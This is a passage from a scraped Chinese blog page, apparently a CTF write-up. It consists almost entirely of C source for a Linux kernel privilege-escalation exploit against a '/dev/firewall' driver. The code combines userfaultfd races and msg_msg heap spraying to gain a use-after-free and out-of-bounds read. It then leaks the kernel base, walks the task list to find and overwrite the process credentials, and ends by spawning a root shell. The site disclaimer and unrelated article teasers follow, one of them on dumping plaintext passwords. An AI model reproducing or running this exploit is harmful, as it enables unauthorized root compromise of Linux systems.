        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler2 over");
        return NULL;
}

#define MSG_SPARY_NUMS 0x20
size_t addr_table[] = {
  0xffffffff81c41600,
  0xffffffff81c41520
};
size_t leak_offset(size_t addr)
{
        size_t kernel_offset = -1;
        if (addr < 0xffffffff81000000) return kernel_offset;
        for (int i = 0; i < sizeof(addr_table) / sizeof(size_t); i++)
        {
                if ((addr_table[i]&0xfff) == (addr&0xfff))
                {
                        kernel_offset = addr - addr_table[i];
                        break;
                }
        }
        return kernel_offset;
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);

        int vim_idx;
        int res;
        int msg_idx[MSG_SPARY_NUMS];
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_buf* msg_buf;
        size_t kernel_offset;
        msg_buf = (struct msg_buf*)tmp;


        for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);

        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        pthread_t thr1, thr2;
        uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);
        register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0)
                err_exit("FAILED to create a msg queue to get UAF obj");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a msg to get UAF obj");

        for (int i = 0; i < MSG_SPARY_NUMS; i++)
        {
                if ((msg_idx[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create msg queue to spary");
                msg_buf->m_type = 1;
                *(uint64_t*)msg_buf->m_text = 0xAAAABBBBCCCCDDDD;
                *(uint64_t*)(msg_buf->m_text+8) = i;
                if (msgsnd(msg_idx[i], msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a 0x40 msg");
        }

        *(uint64_t*)(buffer+0x10) = 1;
        *(uint64_t*)(buffer+0x18) = 0x1000-0x30;
        edit(0, buffer, OUTBOUND, 1);

        memset(tmp, 0, sizeof(tmp));
        res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");
        hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);

        vim_idx = -1;
        kernel_offset = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t value = *(size_t*)(tmp+i*8);
                if (kernel_offset == -1)
                {
                        kernel_offset = leak_offset(value);
                }

                if (vim_idx == -1 && value == 0xAAAABBBBCCCCDDDD)
                {
                        vim_idx = *(int*)(tmp+i*8+8);
                }

                if (kernel_offset != -1 && vim_idx != -1)
                        break;
        }
        if (kernel_offset == -1) err_exit("FAILED to leak kernel_offset");
        hexx("kernel_offset", kernel_offset);
        if (vim_idx == -1) err_exit("FAILED to hit msg_msg");
        hexx("the hit msg_msg idx", vim_idx);

        msg_buf->m_type = 2;
        if (msgsnd(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 0) < 0) err_exit("FAILED to send a 0x2000 msg");

        memset(tmp, 0, sizeof(tmp));
        res = msgrcv(qid, msg_buf, 0x1000-0x30, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30) err_exit("FAIELD to OOR msg msg");
        hexx("OOB DATA LEN", res);
//      binary_dump("MSG OOB DATA", msg_buf, 0x1000);
        ll_next = ll_prev = -1;
        for (int i = 0; i < 0x1000 / 8; i++)
        {
                size_t value = *(size_t*)(tmp+i*8);
                int iidx = *(int*)(tmp+i*8+8);
                if (value == 0xAAAABBBBCCCCDDDD && iidx == vim_idx)
                {
                        ll_next = *(uint64_t*)(tmp+i*8-0x30);
                        ll_prev = *(uint64_t*)(tmp+i*8-0x28);
                        break;
                }
        }

        if (ll_next == -1 || ll_prev == -1)
                err_exit("FAILED to leak msg_seg addr");
        hexx("ll_next", ll_next);
        hexx("ll_prev", ll_prev);


        size_t tasks_off = 0x298;
        size_t pid_off = 0x398;
        size_t cred_off = 0x540;
        size_t init_task = 0xffffffff81c124c0 + kernel_offset;
        size_t init_cred = 0xffffffff81c33060 + kernel_offset;
        hexx("init_task", init_task);
        memset(buffer, 0, sizeof(buffer));
        struct msg_header* mh = (struct msg_header*)buffer;
        mh->l_next = 0;
        mh->l_prev = 0;
        mh->m_type = 1;
        mh->m_ts   = 0x2000-0x30-8;
        mh->security = 0;
        size_t real_pid = getpid();
        size_t cur_task = init_task;
        size_t cur_cred = 0;
        uint64_t* task_task = NULL;
        hexx("real pid", real_pid);
        while(1)
        {
                mh->next = cur_task - 8;
                edit(0, buffer, OUTBOUND, 0);
                memset(tmp, 0, sizeof(tmp));
                res = msgrcv(qid, msg_buf, 0x2000-0x30-8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                if (res < 0x2000-0x30-8) err_exit("FAILED to ABR msg_segment");
                task_task = (uint64_t*)(msg_buf->m_text+0x1000-0x30);

                hexx("cur pid", task_task[pid_off/8]&0xffffffff);
                if (real_pid == (task_task[pid_off/8]&0xffffffff))
                {
                        cur_cred = task_task[cred_off/8];
                        break;
                }
                cur_task = task_task[tasks_off/8+1] - tasks_off;
        }

        hexx("cur_task", cur_task);
        hexx("cur_cred", cur_cred);
        cred_cred = cur_cred;

        res = msgrcv(msg_idx[vim_idx], msg_buf, 0x40-0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);
        res = msgrcv(msg_idx[vim_idx], msg_buf, 0x2000-0x30-8, 2, IPC_NOWAIT|MSG_NOERROR);
        hexx("msgrcv to free", res);

        pthread_t th1, th2;
        res = pthread_create(&th1, NULL, thread_handler1, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");
        res = pthread_create(&th2, NULL, thread_handler2, NULL);
        if (res != 0) err_exit("FAILED to create a new thread");

        pthread_join(th1, NULL);
        pthread_join(th2, NULL);

        hexx("UID", getuid());
        system("/bin/sh");

        puts("[+] NEVER EXP END");
        return 0;
}
xia

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/212504.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

打造个性化github主页 一

文章目录 概述创建仓库静态美化GitHub 统计信息卡仓库 GitHub 额外图钉仓库 热门语言卡仓库 GitHub 资料奖杯仓库 GitHub 活动统计图仓库 打字特效添加中文网站统计仓库 总结 概述 github作为全球最大的代码托管平台&#xff0c;作为程序员都多多少少&#xff0c;都使用过他。…

如何在没有备份的情况下从 Android 手机恢复已删除的数据

电话数据对我们至关重要。我们可以更换我们使用的设备&#xff0c;但不能更换我们的数据。我们以前一直使用CD、USB 和硬盘来保存数据。随着技术的出现&#xff0c;我们遇到了云存储。我们可以随时随地、任意次数地访问存储。所有操作系统都有数据云&#xff0c;可以用来保存图…

API无代码开发让尘锋SCRM与营销系统集成,提高电商平台客服效率

API无代码开发的力量 随着电商平台业务的日益增长&#xff0c;客服系统的效率和响应速度成为了企业关注的焦点。API无代码开发的出现&#xff0c;为企业提供了一个高效的解决方案。API(Application Programming Interface&#xff0c;应用编程接口)允许不同的软件系统之间进行有…

FL Studio水果软件2024简体中文语言版本下载

Fl Studio21是最好的音乐制作软件&#xff0c;但它的成本超过300美元......一个年轻的新音乐创作者怎么能从上到下&#xff0c;地球上没有比 FL Studio 21 更完整的音乐制作软件了。14 年来&#xff0c;它一直是行业领导者&#xff0c;并且随着随后的每一次更新&#xff08;在此…

JDK中lock锁的机制,其底层是一种无锁的架构实现的,公平锁和非公平锁

简述JDK中lock锁的机制&#xff0c;其底层是一种无锁的架构实现的&#xff0c;是否知道其是如何实现的 synchronized与lock lock是一个接口&#xff0c;而synchronized是在JVM层面实现的。synchronized释放锁有两种方式&#xff1a; 获取锁的线程执行完同步代码&#xff0c;…

kubernetes七层负载Ingress搭建(K8S1.23.5)

首先附上K8S版本及Ingress版本对照 Ingress介绍 NotePort&#xff1a;该方式的缺点是会占用很多集群机器的端口&#xff0c;当集群服务变多时&#xff0c;这个缺点就愈发的明显(srevice变多&#xff0c;需要的端口就需要多) LoadBalancer&#xff1a;该方式的缺点是每个servi…

关于抓取明文密码的探究

基础知识 SSP&#xff08;Security Support Provider&#xff09;是windows操作系统安全机制的提供者。简单的说&#xff0c;SSP就是DLL文件&#xff0c;主要用于windows操作系统的身份认证功能&#xff0c;例如NTLM、Kerberos、Negotiate、Secure Channel&#xff08;Schanne…

【源码篇】基于SpringBoot+thymeleaf实现的大学生自习室座位预定系统

文章目录 系统介绍管理员学生 技术选型成果展示账号地址及其他说明 系统介绍 基于SpringBootthymeleaf实现的大学生自习室座位预定系统是为座位管理打造的一款在线管理平台&#xff0c;它可以实时完成信息处理&#xff0c;使其系统化和规范化。 系统功能说明 管理员 1、用户…

C++17中的结构化绑定

C17中的结构化绑定(structured binding):将指定名称绑定到初始化程序的子对象或元素。简而言之&#xff0c;它们使我们能够从元组或结构中声明多个变量。与引用一样&#xff0c;结构化绑定是现有对象的别名&#xff1b;与引用不同&#xff0c;结构化绑定不必是引用类型(referen…

微信小程序组件与插件有啥区别?怎么用?

目录 一、微信小程序介绍 二、微信小程序组件 三、微信小程序插件 四、微信小程序组件与插件有啥区别 一、微信小程序介绍 微信小程序是一种基于微信平台的应用程序&#xff0c;它可以在微信客户端内直接运行&#xff0c;无需下载和安装。微信小程序具有轻量、便捷、跨平台…

C语言——指针(四)

&#x1f4dd;前言&#xff1a; 上篇文章C语言——指针&#xff08;三&#xff09;对指针和数组进行了讲解&#xff0c;今天主要更深入的讲解一下不同类型指针变量的特点&#xff1a; 1&#xff0c;字符指针变量 2&#xff0c;数组指针变量 3&#xff0c;函数指针变量 &#x1…

职位招聘管理与推荐系统Python+Django网页界面+协同过滤推荐算法

一、介绍 职位招聘管理与推荐系统。本系统使用Python作为主要开发语言&#xff0c;以WEB网页平台的方式进行呈现。前端使用HTML、CSS、Ajax、BootStrap等技术&#xff0c;后端使用Django框架处理用户请求。 系统创新点&#xff1a;相对于传统的管理系统&#xff0c;本系统使用…

轻量封装WebGPU渲染系统示例<42>- vsm阴影实现过程(源码)

前向实时渲染vsm阴影实现的主要步骤: 1. 编码深度数据&#xff0c;存到一个rtt中。 2. 纵向和横向执行遮挡信息blur filter sampling, 存到对应的rtt中。 3. 将上一步的结果(rtt)应用到可接收阴影的材质中。 具体代码情况文章最后附上的实现源码。 当前示例源码github地址: …

优化你的计算机性能:如何根据 CPU 占用率决定硬件升级

优化你的计算机性能&#xff1a;如何根据 CPU 占用率决定硬件升级 一、引言二、CPU 占用率的意义与影响三、监测和评估 CPU 占用率四、判断硬件升级需求的依据五、硬件升级方案和建议六、总结 一、引言 计算机性能优化是提升计算机系统整体效能的过程&#xff0c;它对于用户和…

2023版本idea插件开发踩坑记录(一)

在进行idea开发的时候&#xff0c;开始仿照着写第一个插件hello world的时候&#xff0c;运行的时候一直运行不成功。参考了很多博客都是如此 后面对官方文档读了一遍&#xff0c;就发现其中的原委&#xff0c;这个的话估计会有很多人跟我一样踩坑 具体原因是&#xff0c;idea插…

Docker安装Oracle18c 坑已排完,放心食用

Docker安装Oracle18c 坑已排完,放心食用 0、有问题可邮件我1、拉取 oracle18c 镜像, 推荐使用 zhengqing版本的镜像2、启动容器3、等待容器启动完成, 这一步很慢很慢, 别着急4、进入容器5、修改管理员密码6、查看并设置环境变量7、设置监听模式支持以SID方式连接PDB数据库8、使…

Redis中的数据结构

文章目录 第1关&#xff1a;Redis中的数据结构 第1关&#xff1a;Redis中的数据结构 这是上篇文章的第一关&#xff0c;只不过本篇是代码按行做的&#xff0c;方便一下大家使用。 代码如下&#xff1a; redis-cliset hello redislpush educoder-list hellorpush educoder-lis…

HCIP-十六、IGMPPIM-SM 组播

十六、IGMP&PIM-SM 组播 IGMP实验拓扑实验需求及解法1. 配置各设备IP地址2. R1启用组播功能&#xff0c;并在g0/0/0和g0/0/1上开启pim dm3. R1的g0/0/1开启igmp协议 PIM-SM实验拓扑实验需求及解法1.配置各设备IP地址。2.运行IGP3.R1/2/3/4运行PIM-SM IGMP 实验拓扑 实验需…

国际语音通知是什么?国际语音通知系统有哪些功能?

一、国际语音通知是什么&#xff1f; 如同国际短信通知&#xff0c;国际语音通知也在多种生活场景中扮演着重要的角色&#xff0c;如会议通知、商品发货通知、物流更新通知、快递取件通知、外卖取餐通知等。那么什么是语音通知呢&#xff1f; 国际语音通知可将通知的文本信息使…

PT读spef报PARA-006如何解决?

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球入口 There are multiple causes that can trigger PARA-006 errors. Here is a checklist. 1) SPEF reading order Functionally, the parasitic files can be read in any order. For best stitching…